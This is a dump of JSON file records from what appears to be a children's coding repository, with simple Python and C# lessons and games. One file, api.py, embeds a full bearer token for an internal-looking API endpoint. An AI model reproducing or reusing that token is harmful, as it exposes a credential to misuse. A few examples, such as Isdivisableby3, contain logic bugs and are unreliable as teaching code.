"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1073,
"license_type": "no_license",
"max_line_length": 58,
"num_lines": 53,
"path": "/Python/004 Intro to Functions.py",
"repo_name": "guvijaya/KidsCoding",
"src_encoding": "UTF-8",
"text": "'''\nFunctions are usually used to recycle existing code.\nThis is done by pre-determining what a function does,\npassing in parameters, and using return to return a value.\n'''\n\n# def <FunctionName> (<Parameters>, ...)\n\n'''\nParameters and Return:\n'''\n\n# This function has no parameters of return value\ndef SayHello():\n print(\"------------\")\n print(\"Hello\")\n print(\"------------\")\n\n# This function has one parameter, and no return value\ndef PrintString(str):\n print(str)\n\n# This function has two parameter and one return value.\ndef Add(x, y):\n return x + y\n\n'''\nExample Functions:\n'''\n\n# Here is an example function.\ndef IsPrime(num):\n IsPrime = True\n for x in range(2, num-1):\n if(num % x == 0):\n IsPrime = False\n break\n\n return IsPrime\n\n# Here is another example function\ndef Iseven(num):\n if num % 2 == 0:\n return True\n else:\n return False\n\n# You can also call other functions in functions\ndef Isdivisableby3(num):\n if Iseven == True:\n return False\n elif num % 3 == 0:\n return True"
},
{
"alpha_fraction": 0.4331164062023163,
"alphanum_fraction": 0.44540852308273315,
"avg_line_length": 24.163637161254883,
"blob_id": "bee2ea9f22efd5d64e42cfb418b12ba0abbeefa2",
"content_id": "ceb54f0723491c8739c2243be207b67b3550241f",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C#",
"length_bytes": 1383,
"license_type": "no_license",
"max_line_length": 77,
"num_lines": 55,
"path": "/Excercise/CSharp/MovingAvg.cs",
"repo_name": "guvijaya/KidsCoding",
"src_encoding": "UTF-8",
"text": "using System;\n\nnamespace CSharp\n{\n public class MovingAvg\n {\n public static void Execute()\n {\n var x = new MovingAverage(3);\n\n Console.WriteLine(x.Next(10));\n Console.WriteLine(x.Next(20));\n Console.WriteLine(x.Next(30));\n Console.WriteLine(x.Next(40));\n Console.WriteLine(x.Next(50));\n }\n\n public class MovingAverage\n {\n int ElementCount;\n int Index = 0;\n int[] Data;\n int Total;\n\n /** Initialize your data structure here. */\n public MovingAverage(int size)\n {\n Total = 0;\n Index = 0;\n Data = new int[size];\n ElementCount = 0;\n }\n\n public double Next(int val)\n {\n Total -= Data[Index];\n Total += val;\n Data[Index++] = val;\n if (Index == Data.Length)\n Index = 0;\n\n if (ElementCount < Data.Length)\n ElementCount++;\n\n return Total / ElementCount;\n }\n }\n\n /**\n * Your MovingAverage object will be instantiated and called as such:\n * MovingAverage obj = new MovingAverage(size);\n * double param_1 = obj.Next(val);\n */\n }\n}"
},
{
"alpha_fraction": 0.48473837971687317,
"alphanum_fraction": 0.5036337375640869,
"avg_line_length": 27.102041244506836,
"blob_id": "3fa93212748654e582b5c498ff2bbf6b1a06371e",
"content_id": "5cad5636994021afa1f8d9e41f6d174a917becbe",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1376,
"license_type": "no_license",
"max_line_length": 52,
"num_lines": 49,
"path": "/Python/012 Voting.py",
"repo_name": "guvijaya/KidsCoding",
"src_encoding": "UTF-8",
"text": "# Get vootes till we get 20 votes\n# List of contestant\n# Show result\n\ndef PrintVotingPallette():\n print(\"\")\n print(\"--------------------------------------\")\n print(\"| Enter the candidate number to vote: |\")\n print(\"| 1. Swetha |\")\n print(\"| 2. Shreya |\")\n print(\"| 3. Vishal |\")\n print(\"| 4. Lalith |\")\n print(\"| |\")\n print(\"| Enter your vote |\")\n print(\"--------------------------------------\")\n vote = int(input())\n\n if(vote < 0 or vote > 4):\n print(\"Invalid vote. Try again\")\n PrintVotingPallette()\n\n return vote\n\nSwethaVoteCount = 0\nShreyaVoteCount = 0\nVishalVoteCount = 0\nLalithVoteCount = 0\nNotoVoteCount = 0\n\nfor i in range(1,21):\n vote = PrintVotingPallette()\n\n if(vote == 0):\n NotoVoteCount = NotoVoteCount + 1\n elif vote == 1:\n SwethaVoteCount += 1\n elif vote == 2:\n ShreyaVoteCount += 1\n elif vote == 3:\n VishalVoteCount += 1\n elif vote == 4:\n LalithVoteCount += 1\n\nprint(\"Voting result\")\nprint(\"Noto Vote: %d\" %NotoVoteCount )\nprint(\"Swetha Votes: %d\" %SwethaVoteCount)\nprint(\"Shreya Votes: %d\" %ShreyaVoteCount)\nprint(\"Lalith Votes: %d\" %LalithVoteCount)\nprint(\"Vishal Votes: %d\" %VishalVoteCount)"
},
{
"alpha_fraction": 0.5618166327476501,
"alphanum_fraction": 0.577796459197998,
"avg_line_length": 27.7560977935791,
"blob_id": "f9b628b4cd1faae918e79db5e13ce6d9263cda3e",
"content_id": "476b84f0b8d8e8afdf80e2d35377977bd8956f94",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1189,
"license_type": "no_license",
"max_line_length": 98,
"num_lines": 41,
"path": "/Python/016 Cookie Crumbler.py",
"repo_name": "guvijaya/KidsCoding",
"src_encoding": "UTF-8",
"text": "print(\"Do you know how to play cookie crumbler?\")\nif input(\"Yes/No: \") == \"No\":\n print('''Welcome to cookie crumbler!\n This is a game about strategy and forward thinking!''')\n print()\n print('''How to play the game:\n Be the person to eat the last cookie!\n There are 15 cookies.\n Each turn you can eat up to 3 cookies.''')\n print()\n print(\"Good luck!\")\n\nplayerturn = 1\ncookies = 15\nexit = False\n\nwhile exit == False:\n print()\n print(\"It is player #{0}'s turn. How many cookies would they like to eat?\".format(playerturn))\n ce = int(input())\n if ce < 1 or ce > 3:\n print()\n print(\"That was too high or too low!\")\n print(\"Remember the range is 1-3\")\n continue\n if cookies - ce < 0:\n print()\n print(\"There are/is only {0} cookie(s) left\".format(cookies))\n print(\"You can't eat more than that!\")\n continue\n cookies = cookies - ce\n if cookies == 0:\n print()\n print(\"Player {0} won!\".format(playerturn))\n break\n if playerturn == 1:\n playerturn = 2\n else:\n playerturn = 1\n print()\n print(\"There are {0} cookie(s) left\".format(cookies))\n\n \n "
},
{
"alpha_fraction": 0.6201550364494324,
"alphanum_fraction": 0.6395348906517029,
"avg_line_length": 23.571428298950195,
"blob_id": "b066e137ec60db771547806d646ade82289a2b20",
"content_id": "de1368d83ece36a73c571acef51bd127c528d70e",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 516,
"license_type": "no_license",
"max_line_length": 82,
"num_lines": 21,
"path": "/Python/008 CurrencyDenominator.py",
"repo_name": "guvijaya/KidsCoding",
"src_encoding": "UTF-8",
"text": "# This program take a number as input and prints position and value of each digit.\n\nnum = input(\"Enter a number: \")\nstrLen = len(num)\n\ndivider = pow(10, strLen-1)\n\npositions = [\n \"Ones\", \"Tens\", \"Hundreds\",\n \"Thousands\", \"Ten thousands\", \"Hundred thousands\",\n \"Millions\", \"Ten millions\", \"Hundred millions\"\n]\n\nnum = int(num)\ndigit = []\nwhile divider > 0:\n digit.append(int((num / divider) % 10))\n divider = int(divider / 10)\n\nfor i in range(0, strLen):\n print(digit[i], \" \", positions[strLen-i-1])\n"
},
{
"alpha_fraction": 0.6985507011413574,
"alphanum_fraction": 0.7710145115852356,
"avg_line_length": 25.615385055541992,
"blob_id": "86b3625959580a7f767923fec8f6e92f4b65fda5",
"content_id": "1d1acf18aa62bceffefcd34e3aa2230c78a2cdec",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 345,
"license_type": "no_license",
"max_line_length": 141,
"num_lines": 13,
"path": "/Excercise/Python/api.py",
"repo_name": "guvijaya/KidsCoding",
"src_encoding": "UTF-8",
"text": "import requests\nimport json\n\nurl = 'https://ces-int.microsoftcloud.com/api/v1/PowerBI/Eligibilities/Optoutv2?userId=test100&tenantId=26A4F49D-F5CE-45BA-904E-48E0303F423E'\nparam = {\"Authorization\": \"Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IkN0VHVoTUptRDVNN0RMZHpEMnYyeDNRS1NSWSIsImtpZCI6IkN0VHVoTUptRDVNN0RMZHpEMnYyeDNRS1NSWSJ9.eyJhdWQiOiJodHRwczovL21pY3Jvc29mdC5vbm1pY3Jvc29mdC5jb20vbnBzLWludCIsImlzcyI6Imh0dHBzOi8vc3RzLndpbmRvd3MubmV0LzcyZjk4OGJmLTg2ZjEtNDFhZi05MWFiLTJkN2NkMDExZGI0Ny8iLCJpYXQiOjE1ODg2MjczNjQsIm5iZiI6MTU4ODYyNzM2NCwiZXhwIjoxNTg4NzE0MDY0LCJhaW8iOiI0MmRnWUhCY0xKbDYrNCtRUU54YkMyUG1HY2ZWQUE9PSIsImFwcGlkIjoiNTlhZTJjZjUtNWI3NS00YWRiLTg4MjgtNWI5NjczYmVkZDcyIiwiYXBwaWRhY3IiOiIxIiwiaWRwIjoiaHR0cHM6Ly9zdHMud2luZG93cy5uZXQvNzJmOTg4YmYtODZmMS00MWFmLTkxYWItMmQ3Y2QwMTFkYjQ3LyIsIm9pZCI6IjM3MjYxYjRjLWI2NTEtNDkxNS04YjY5LTIyYTQ3NDU5YWFhYiIsInJoIjoiMC5BUUVBdjRqNWN2R0dyMEdScXkxODBCSGJSX1VzcmxsMVc5dEtpQ2hibG5PLTNYSWFBQUEuIiwic3ViIjoiMzcyNjFiNGMtYjY1MS00OTE1LThiNjktMjJhNDc0NTlhYWFiIiwidGlkIjoiNzJmOTg4YmYtODZmMS00MWFmLTkxYWItMmQ3Y2QwMTFkYjQ3IiwidXRpIjoiX0FSZEhjTjUwa2VZS0xKOGJ4SURBQSIsInZlciI6IjEuMCJ9.nP4pYgjKyNHSyKnvN6dUNiE6IL86R2jTbyUUrsPXHIGn6yKD9_ElThY4cGaRVcNRkZ5R9T1IZAMeLkkCHITE5RhTlSGrlS9u1nGC6M6lJAbzFr4k4qzdQCt64KSizz7_NeTpPsSLMAwr1aEI5c1DmuvIRb60BVXfJKqOwVSFjPkwsXSzmot3dUZ1fk3glIic_C8oyuVRg99qVE57rhe2Ia726rUfKf3pBpxxNl9dYeaaXRXBNd5WDI0tu3iJQ1-riRa0wdTv6RfV8GH40lbdg2m0kGh2FXk7I_YDDQDPk45nKvnbzwVuJMRlSCx0KBlREs1Za0l5GdaOvgQmKWqScg\"}\n\n# response = requests.get(url, param)\n\nresponse = requests.options(url)\n\ncontent = response.content\ninfo = json.loads(content)\nprint(info)"
},
{
"alpha_fraction": 0.35031846165657043,
"alphanum_fraction": 0.36305731534957886,
"avg_line_length": 25.744680404663086,
"blob_id": "3166c4ab107b187bcb3424e4c90aa77a62643af8",
"content_id": "cae312bf71ece9b9b2830a400d516024ecd54b39",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C#",
"length_bytes": 1256,
"license_type": "no_license",
"max_line_length": 73,
"num_lines": 47,
"path": "/Excercise/CSharp/FourSumCount.cs",
"repo_name": "guvijaya/KidsCoding",
"src_encoding": "UTF-8",
"text": "using System;\nusing System.Collections.Generic;\n\nnamespace CSharp\n{\n public class FourSumCount{\n public static void Execute()\n {\n int[] A = {-1,-1};\n int[] B = {-1,1};\n int[] C = {-1,1};\n int[] D = {1,-1};\n\n int result = Sum4Count(A,B,C,D);\n\n Console.WriteLine(result);\n }\n\n static public int Sum4Count(int[] A, int[] B, int[] C, int[] D) {\n int cnt = 0;\n\n var abResult = new Dictionary<int, int>();\n for (int i = 0; i < A.Length; i++)\n {\n for (int j = 0; j < B.Length; j++)\n {\n int result = A[i] + B[j];\n if(abResult.ContainsKey(result))\n abResult[result]++;\n else\n abResult.Add(result,1);\n }\n }\n\n for (int i = 0; i < C.Length; i++)\n {\n for (int j = 0; j < D.Length; j++)\n {\n int result = -(C[i] + D[j]);\n if(abResult.ContainsKey(result))\n cnt += abResult[result];\n }\n }\n return cnt;\n }\n } \n}"
},
{
"alpha_fraction": 0.5153583884239197,
"alphanum_fraction": 0.5230375528335571,
"avg_line_length": 19.946428298950195,
"blob_id": "861a97a67943d27b28a88eebfe75f260fb4efdc2",
"content_id": "a96046662768e9a4ca9f98711a1e1670813ce232",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C#",
"length_bytes": 1172,
"license_type": "no_license",
"max_line_length": 70,
"num_lines": 56,
"path": "/C#/015 Calculator.cs",
"repo_name": "guvijaya/KidsCoding",
"src_encoding": "UTF-8",
"text": "using System;\n\nnamespace CSharp\n{\n \n public class Calculator\n {\n public static void Calc()\n {\n Console.WriteLine(\"If you want to Add click +,to subtract -\");\n string strkey = Console.ReadLine();\n Char key = strkey[0];\n\n if(key == '+')\n {\n add();\n }\n if(key == '-')\n {\n subtract();\n }\n }\n public static void add()\n {\n \n Console.WriteLine(\"Enter a number to add\");\n string strnum1 = Console.ReadLine();\n \n Console.WriteLine(\"Enter a number to add\");\n string strnum2 = Console.ReadLine();\n\n int a = int.Parse(strnum1);\n int b = int.Parse(strnum2);\n int result = a + b;\n\n Console.WriteLine(result);\n \n }\n public static void subtract()\n {\n Console.WriteLine(\"Enter a number to subtract\");\n string strnum1 = Console.ReadLine();\n \n Console.WriteLine(\"Enter a number to subtract\");\n string strnum2 = Console.ReadLine();\n\n int a = int.Parse(strnum1);\n int b = int.Parse(strnum2);\n int result = a - b;\n\n Console.WriteLine(result);\n }\n\n }\n\n}"
},
{
"alpha_fraction": 0.40674787759780884,
"alphanum_fraction": 0.4254920482635498,
"avg_line_length": 24.428571701049805,
"blob_id": "6e79fcac7a2d1f170637eafa85381751dd0f3cbf",
"content_id": "845ddfb32a229f60745dee02d6c7ab5cd849db56",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C#",
"length_bytes": 1067,
"license_type": "no_license",
"max_line_length": 63,
"num_lines": 42,
"path": "/C#/012 EnumExample.cs",
"repo_name": "guvijaya/KidsCoding",
"src_encoding": "UTF-8",
"text": "using System;\n\nnamespace CSharp\n{\n class EnumExample\n {\n enum Kids\n {\n Swetha = 2004,\n Shreya = 2005,\n Lalith = 2008,\n Vishal = 2008,\n Bathri = 2013\n }\n\n public static void Demo()\n {\n Kids y = Kids.Bathri;\n int z = (int)y;\n\n Console.WriteLine($\"Kids name: {y}\");\n Console.WriteLine($\"Kids name as int: {z}\");\n\n Console.WriteLine(\"Enter a key to get surprised!\");\n var x = Console.ReadKey();\n\n string str = \"I don't know the key\";\n if (x.KeyChar == ' ')\n str = \"Space\";\n else if (x.KeyChar == '\\t')\n str = \"Tab\";\n else if (x.KeyChar == '\\r' || x.KeyChar == '\\n')\n str = \"Enter Key\";\n else if (x.Key == ConsoleKey.PageUp)\n str = \"You are the winner\";\n else\n str = x.KeyChar.ToString();\n\n Console.WriteLine($\"The key entered is [{str}]\");\n }\n }\n}"
},
{
"alpha_fraction": 0.5946996212005615,
"alphanum_fraction": 0.6190812587738037,
"avg_line_length": 41.238807678222656,
"blob_id": "1d0e3a7ee8ed2bd5e2f4a2d82fc3071af2755c9c",
"content_id": "ac9b83b7973fc854f203e8b27ceeb490a2fc71de",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 2830,
"license_type": "no_license",
"max_line_length": 133,
"num_lines": 67,
"path": "/Python/015 stocks.py",
"repo_name": "guvijaya/KidsCoding",
"src_encoding": "UTF-8",
"text": "import yfinance as yf\nimport time\nfrom tabulate import tabulate\nmy_ticker_watch_list = [\"MSFT\", \"AAPL\"]\nmy_ticker_watch_list.sort()\nmy_ticker_watch_string = \" \".join(my_ticker_watch_list)\nlength_of_tickers = len(my_ticker_watch_list)\n\nwhile True:\n tickers = yf.Tickers(my_ticker_watch_string)\n headers = (\"symbol\", \"company\", \"Open\", \"Current\", \"200DayAverage\", \"52weeklo\",\n \"52weekhi\", \"% Less than Opening\", \"% Less than 52-week hi\", \"% Less than 200-day hi\")\n data_list = []\n\n # stock_info = yf.Ticker(\"NIO\")\n # print(stock_info.info)\n\n for stock_index in range(0, length_of_tickers):\n stock_info = tickers.tickers[stock_index].info\n company = stock_info[\"shortName\"]\n\n print(company)\n symbol = stock_info[\"symbol\"]\n open_price = stock_info['regularMarketOpen']\n if open_price is None:\n open_price = stock_info[\"previousClose\"]\n current_price = stock_info[\"ask\"]\n if current_price is None:\n current_price = stock_info[\"previousClose\"]\n fifty_two_week_high = stock_info[\"fiftyTwoWeekHigh\"]\n fifty_two_week_low = stock_info[\"fiftyTwoWeekLow\"]\n two_hundred_day_average = stock_info[\"twoHundredDayAverage\"]\n\n if two_hundred_day_average is not None:\n two_hundred_day_average = round(two_hundred_day_average, 2)\n\n percent_less_than_200day = round(\n (two_hundred_day_average - current_price) * 100/two_hundred_day_average, 2)\n if percent_less_than_200day < 0:\n percent_less_than_200day = 0\n\n percent_less_than_open_price = round(\n (open_price - current_price) * 100/open_price, 2)\n if percent_less_than_open_price < 0:\n percent_less_than_open_price = 0\n\n percent_less_than_52week_high = round(\n (fifty_two_week_high - current_price) * 100/fifty_two_week_high, 2)\n if percent_less_than_52week_high < 0:\n percent_less_than_52week_high = 0\n\n if True or percent_less_than_52week_high > 14.9 or percent_less_than_open_price > 14.9 or percent_less_than_200day > 14.9:\n data_tuple = (symbol, company, open_price, current_price, two_hundred_day_average, fifty_two_week_low,\n fifty_two_week_high, percent_less_than_open_price, percent_less_than_52week_high, percent_less_than_200day)\n data_list.append(data_tuple)\n\n # print(\"symbol: \" + symbol)\n # print(\"company: \" + company)\n # print(\"open_price: \" + str(open_price))\n # print(\"current_price: \" + str(current_price))\n # print(\"fifty_two_week_high: \" + str(fifty_two_week_high))\n # print(\"fifty_two_week_low: \" + str(fifty_two_week_low))\n # print(\"\")\n\n print(tabulate(data_list, headers=headers))\n # time.sleep(900)\n break\n"
},
{
"alpha_fraction": 0.45011287927627563,
"alphanum_fraction": 0.45553046464920044,
"avg_line_length": 19.87735939025879,
"blob_id": "24ca61d04d8f934b12f9450e35978bd9f89fb71c",
"content_id": "37dc85feaab42f5096d76c805884d5bfeae2f800",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C#",
"length_bytes": 2215,
"license_type": "no_license",
"max_line_length": 73,
"num_lines": 106,
"path": "/C#/008 Square.cs",
"repo_name": "guvijaya/KidsCoding",
"src_encoding": "UTF-8",
"text": "using System;\n\nnamespace CSharpExample\n{\n class Rectangle\n {\n public int Length;\n public int Width;\n\n // Constructor in Python it is called __init___\n public Rectangle(int l, int w)\n {\n Length = l;\n Width = w;\n }\n\n public int GetArea()\n {\n return Length * Width;\n }\n\n public int GetPerimeter()\n {\n return 2 * (Length + Width);\n }\n }\n\n class Square\n {\n private static int objectCount = 0;\n\n public static int ObjectCount\n {\n get { return objectCount; }\n }\n\n // Instance member creates a copy for each object\n // Class variable\n private int side;\n\n public int GetSide()\n {\n return side;\n }\n\n public void SetSide(int value)\n {\n if (value < 0)\n throw new Exception(\"The value cannot be negative\");\n\n if (value > 100)\n throw new Exception(\"The value cannot be more than 100\");\n\n side = value;\n }\n\n // Properties\n public int SideProperties\n {\n get\n {\n return side;\n }\n\n set\n {\n if (value < 0)\n throw new Exception(\"The value cannot be negative\");\n\n side = value;\n }\n }\n\n public Square(int s)\n {\n objectCount++;\n this.side = s;\n // It is called whenever an \n // instance is create\n }\n\n // Static member common for the class\n public static string Message = \"This is SQUARE\";\n\n public int GetArea()\n {\n return this.side * this.side;\n }\n\n public int GetCircumference()\n {\n return 4 * side;\n }\n\n public static void Test()\n {\n Console.WriteLine(\"I am public static void\");\n PriTest(); // Private can be called only inside the class\n }\n\n private static void PriTest()\n {\n Console.WriteLine(\"I am private static void2\");\n }\n }\n}\n\n\n"
},
{
"alpha_fraction": 0.6898396015167236,
"alphanum_fraction": 0.7254902124404907,
"avg_line_length": 39.07143020629883,
"blob_id": "55dfe904d22b6cbd20ace131a0a0c446a1591b1c",
"content_id": "3f5ea6396440560187c2168682d829abd7dbc0ec",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Markdown",
"length_bytes": 561,
"license_type": "no_license",
"max_line_length": 78,
"num_lines": 14,
"path": "/Readme.md",
"repo_name": "guvijaya/KidsCoding",
"src_encoding": "UTF-8",
"text": "<h1>Intro</h1>\n<p>Sample hello world code in C# and Python languages </p>\n<h3>Courses</h3>\n<p>Python: https://www.sololearn.com/learning/1073 </p>\n<p>C#: https://www.sololearn.com/learning/1080 </p>\n\n<h3>Exercise Questions: </h3>\n<p>https://www.w3schools.com/cs/exercise.asp?filename=exercise_variables1 </p>\n<p>https://www.w3schools.com/python/exercise.asp?filename=exercise_syntax1</p>\n<p>https://edabit.com/challenges/csharp#!</p>\n<p>https://exercism.io/tracks/csharp/exercises</p>\n\n<h3>Access:</h3>\n<p>https://github.com/guvijaya/KidsCoding/invitations</p>\n"
},
{
"alpha_fraction": 0.34531736373901367,
"alphanum_fraction": 0.39813581109046936,
"avg_line_length": 26.827159881591797,
"blob_id": "d9c9272e14cbebbb347e88d43c00c9a26d77d145",
"content_id": "3ec2f5b53687531c8234dc1034e76db35d142117",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C#",
"length_bytes": 2253,
"license_type": "no_license",
"max_line_length": 70,
"num_lines": 81,
"path": "/C#/003 Array.cs",
"repo_name": "guvijaya/KidsCoding",
"src_encoding": "UTF-8",
"text": "using System;\n\nnamespace CSharp\n{\n class ArrayExamples\n {\n public static void Demo()\n {\n // Declaring single dimention array\n int[] x = new int[] { 10, 20, 30, 40, 50 };\n\n // Using two dimention array\n int[,] arr2D = new int[,] { {1,2,3,4,5},\n {2,4,6,8,10},\n {3,9,12,15,18}\n };\n\n int[,] a2 = new int[2, 3];\n\n // Accessing individual elements\n a2[0, 0] = 10;\n a2[0, 1] = 170;\n a2[0, 2] = 90;\n\n a2[1, 0] = 5530;\n a2[1, 1] = 19848;\n a2[1, 2] = 9942;\n\n Console.WriteLine(\"Single Dimention Array\");\n for (int i = 0; i < x.Length; i++)\n {\n Console.WriteLine(x[i]);\n }\n\n // 0th dimention - x\n Console.WriteLine($\" GetLength(0): {arr2D.GetLength(0)}\");\n\n // 1st dimentions length - y\n Console.WriteLine($\" GetLength(1): {arr2D.GetLength(1)}\");\n\n // Total number of elements\n Console.WriteLine($\" Length : {arr2D.Length}\");\n\n Console.WriteLine(\"Double Dimention Array\");\n PrintArray(a2);\n }\n\n private static void PrintArray(int[,] arr2D)\n {\n for (int i = 0; i < arr2D.GetLength(0); i++)\n {\n for (int j = 0; j < arr2D.GetLength(1); j++)\n {\n Console.Write($\" {arr2D[i, j]}\");\n }\n Console.WriteLine();\n }\n }\n\n public static void Demo2()\n {\n const int ARRAY_SIZE = 5;\n\n string[] StudentNames;\n StudentNames = new string[ARRAY_SIZE];\n\n // 0, 1, 2, 3, 4\n for (int i = 0; i < ARRAY_SIZE; i++)\n {\n Console.Write($\"Enter {i + 1} Student Name:\");\n StudentNames[i] = Console.ReadLine();\n }\n\n for (int i = 0; i < ARRAY_SIZE; i++)\n {\n // 100, 105, 110, 115, 120\n Console.WriteLine($\"{i + 1001}. {StudentNames[i]} \");\n }\n }\n }\n}"
},
{
"alpha_fraction": 0.686956524848938,
"alphanum_fraction": 0.7141304612159729,
"avg_line_length": 33.11111068725586,
"blob_id": "6eaa71c45d20f173e78bef3c850d59be6e03962a",
"content_id": "54b4ab556411f450b1e02c1dbb5483afd1475eea",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 920,
"license_type": "no_license",
"max_line_length": 93,
"num_lines": 27,
"path": "/Python/002 Data Types/Basic Data Types.py",
"repo_name": "guvijaya/KidsCoding",
"src_encoding": "UTF-8",
"text": "int1 = 1 # This data type is an integer. \nint2 = 2 # Also knows as int in short form.\nprint(int1 + int2) # Integer cannot have decimals\n\nstr1 = \"Hello \" # This data type is a string.\nstr2 = \"World!\" # Also known as str in short form.\nprint(str1 + str2)\n\nFloat1 = 1.5 # Floats are like integer, but can have decimals\nFloat2 = int1/int2 # When integers are divided they turn into floats.\nprint(Float1 + Float2)\n\n# See list program next...\n\ntuple1 = (\"Hello\",\"World\",1) # This data type is a tuple.\n'''\nTuple items are ordered, unchangeable, and allow duplicate values.\nTuple items are indexed, the first item has index [0], the second item has index [1] etc.\n'''\nprint(tuple1)\n\n# See dictionary program next...\n\ntrue_or_false = False # This data type describes a binary value\ntrue_or_false2 = True # It describes yes or no, true or false, or something or something else\nif true_or_false2:\n print(\"The variable is true\")"
}
] | 50 |
hunter-io/spacy-api-docker | https://github.com/hunter-io/spacy-api-docker | c9100c5ed1e8506127d7b73a39a1d4071c38df31 | 023dc468ead682486323998618e1f1a88d5d5e3d | a6c7bf4339c4b3ad8f02a39506cd4f40d192acf1 | refs/heads/master | 2020-04-04T06:33:51.698671 | 2018-11-06T10:36:13 | 2018-11-06T10:36:13 | 155,749,167 | 0 | 0 | MIT | 2018-11-01T17:11:02 | 2018-10-29T08:38:04 | 2018-06-30T09:59:48 | null | [
{
"alpha_fraction": 0.7405063509941101,
"alphanum_fraction": 0.7405063509941101,
"avg_line_length": 13.363636016845703,
"blob_id": "65eeab5c1b9c28be37be10f88970eb550acc793c",
"content_id": "802e790a466f6759ef15c72bd3aa81600410f5cb",
"detected_licenses": [
"MIT"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 158,
"license_type": "permissive",
"max_line_length": 34,
"num_lines": 11,
"path": "/app/download.py",
"repo_name": "hunter-io/spacy-api-docker",
"src_encoding": "UTF-8",
"text": "import os\nimport json\n\nfrom spacy.cli import download\n\nprint(\"Starting download\")\n\nlang = \"en_core_web_lg\"\ndownload(model=lang, direct=False)\n\nprint(\"Done!\")\n"
},
{
"alpha_fraction": 0.7168949842453003,
"alphanum_fraction": 0.767123281955719,
"avg_line_length": 19.85714340209961,
"blob_id": "b94a9dd8589cec842498212bf66df3bcb6861a0a",
"content_id": "f84223bf72f9d6f37ed0ae588ff8ced4b953e305",
"detected_licenses": [
"MIT"
],
"is_generated": false,
"is_vendor": false,
"language": "Dockerfile",
"length_bytes": 438,
"license_type": "permissive",
"max_line_length": 81,
"num_lines": 21,
"path": "/Dockerfile",
"repo_name": "hunter-io/spacy-api-docker",
"src_encoding": "UTF-8",
"text": "FROM python:3.6-alpine\n\nWORKDIR /app\nENV HOME /app\n\n# Install the required packages\nRUN apk update\nRUN apk add ca-certificates curl build-base\n\nRUN pip3 install --upgrade pip\nRUN pip3 install falcon spacy falcon requests pathlib\nRUN pip3 install gunicorn\n\nADD app/ /app\n\nENV languages \"en_core_web_lg\"\nRUN python3 /app/download.py\n\nEXPOSE 80\nENV WORKERS 4\nCMD gunicorn -w $WORKERS -b 0.0.0.0:80 --max-requests 50000 --timeout 90 main:app\n"
},
{
"alpha_fraction": 0.7491467595100403,
"alphanum_fraction": 0.7627986073493958,
"avg_line_length": 47.83333206176758,
"blob_id": "11954f2d6110a9139df6779e64e47d6de6a31931",
"content_id": "3ef39c6d1dd7e2d537d2184790a7fd29d6953cc9",
"detected_licenses": [
"MIT"
],
"is_generated": false,
"is_vendor": false,
"language": "Markdown",
"length_bytes": 586,
"license_type": "permissive",
"max_line_length": 182,
"num_lines": 12,
"path": "/README.md",
"repo_name": "hunter-io/spacy-api-docker",
"src_encoding": "UTF-8",
"text": "# spaCy API with Docker\n\nThis repository is a derived work of [jgontrum/spacy-api-docker](https://github.com/jgontrum/spacy-api-docker) with some changes:\n\n* It loads the `en_core_web_lg` model instead of the default `en_core_web_sm` one\n* It uses gunicorn for improved CPU usage. Use the `WORKERS` environement variable to change the default of 4 workds. Keep in mind though that each worker uses a large amount of RAM.\n\n## Usage\n\n`docker run -p \"3000:80\" quay.io/hunter-io/spacy-api:2`\n\nGo to https://github.com/jgontrum/spacy-api-docker#rest-api-documentation for the documentation.\n"
}
] | 3 |
unauo/competitive-programming | https://github.com/unauo/competitive-programming | 271f72b18950b65dec8ddcb333227c92f047b7d7 | ffa8fb13f328e5cf812f327792c34b419e301f9f | 596fcd1597ebac5f2dd74a944fde6b031193008e | refs/heads/master | 2022-03-05T19:51:55.726569 | 2022-02-20T11:16:14 | 2022-02-20T11:16:14 | 194,906,334 | 4 | 0 | null | null | null | null | null | [
{
"alpha_fraction": 0.4046184718608856,
"alphanum_fraction": 0.4457831382751465,
"avg_line_length": 22.738094329833984,
"blob_id": "ac149853b67f9fc894b3dc93d43bdcd886740084",
"content_id": "5236db1ddc2d0dd20d049cf79b7d498e21cc1752",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 996,
"license_type": "no_license",
"max_line_length": 102,
"num_lines": 42,
"path": "/inzva acsc19/practice problems/favSeq.cpp",
"repo_name": "unauo/competitive-programming",
"src_encoding": "UTF-8",
"text": "// https://www.hackerrank.com/contests/inzva-acsc-19-foundation-problems/challenges/favourite-sequence\n\n#include <vector>\n#include <iostream>\n#include <queue>\n#include <set>\n\nint main(){\n int n,m;\n std::cin >> n;\n std::vector< std::set<int> > g(1000001);\n std::queue<int> Q;\n std::vector<int> incoming(1000001,-1);\n for(int i=0;i<n;i++){\n int f, s, k;\n std::cin >> k >> f;\n if (incoming[f-1] == -1) incoming[f-1] = 0;\n for (int j=1;j<k;j++){\n std::cin >> s;\n if (incoming[s-1] == -1) incoming[s-1] = 0;\n g[f-1].insert(s-1);\n incoming[s-1]++;\n f = s;\n } \n }\n\n for(int i=0;i<1000001;i++){\n if (incoming[i] == 0) {\n \tQ.push(i);\n \t}\n }\n\n while (!Q.empty()){\n int u = Q.front();\n Q.pop();\n std::cout << u+1 << \" \";\n for (const int j : g[u]) {\n incoming[j]--;\n if (incoming[j] == 0) Q.push(j);\n }\n }\n}"
},
{
"alpha_fraction": 0.5125786066055298,
"alphanum_fraction": 0.5345911979675293,
"avg_line_length": 17.735294342041016,
